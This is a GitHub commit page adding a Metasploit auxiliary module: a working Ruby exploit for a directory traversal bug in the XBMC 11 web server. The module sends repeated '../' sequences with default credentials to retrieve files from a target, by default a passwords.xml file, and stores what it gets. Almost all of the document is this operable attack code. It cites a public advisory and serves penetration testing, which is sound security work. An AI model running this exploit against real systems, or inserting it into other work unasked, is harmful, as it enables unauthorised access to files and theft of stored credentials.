Skip to content

Commit 593be7a

Browse files
committed
Merge branch 'xbmc' of github.com:mandreko/metasploit-framework into mandreko-xbmc
2 parents 54d2b58 + 2c0a916 commit 593be7a

File tree

1 file changed

+91
-0
lines changed

1 file changed

+91
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Auxiliary::Report
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "XBMC Web Server Directory Traversal",
18+
'Description' => %q{
19+
This module exploits a directory traversal bug in XBMC 11, up until the 2012-11-04 nightly build.
20+
The module can only be used to retrieve files.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
26+
'Lucas "acidgen" Lundgren IOActive',
27+
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
28+
],
29+
'References' =>
30+
[
31+
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
32+
['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
33+
['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
34+
],
35+
'DisclosureDate' => "Nov 4 2012"
36+
))
37+
38+
register_options(
39+
[
40+
Opt::RPORT(8080),
41+
OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
42+
OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
43+
OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']),
44+
OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']),
45+
], self.class)
46+
end
47+
48+
def run
49+
# No point to continue if no filename is specified
50+
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
51+
print_error("Please supply the name of the file you want to download")
52+
return
53+
end
54+
55+
# Create request
56+
traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
57+
begin
58+
res = send_request_raw({
59+
'method' => 'GET',
60+
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
61+
'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
62+
}, 25)
63+
rescue Rex::ConnectionRefused
64+
print_error("#{rhost}:#{rport} Could not connect.")
65+
return
66+
end
67+
68+
# Show data if needed
69+
if res
70+
if res.code == 200
71+
vprint_line(res.to_s)
72+
fname = File.basename(datastore['FILEPATH'])
73+
74+
path = store_loot(
75+
'xbmc.http',
76+
'application/octet-stream',
77+
datastore['RHOST'],
78+
res.body,
79+
fname
80+
)
81+
print_good("File saved in: #{path}")
82+
elsif res.code == 401
83+
print_error("#{rhost}:#{rport} Authentication failed")
84+
elsif res.code == 404
85+
print_error("#{rhost}:#{rport} File not found")
86+
end
87+
else
88+
print_error("HTTP Response failed")
89+
end
90+
end
91+
end

0 commit comments

Comments
 (0)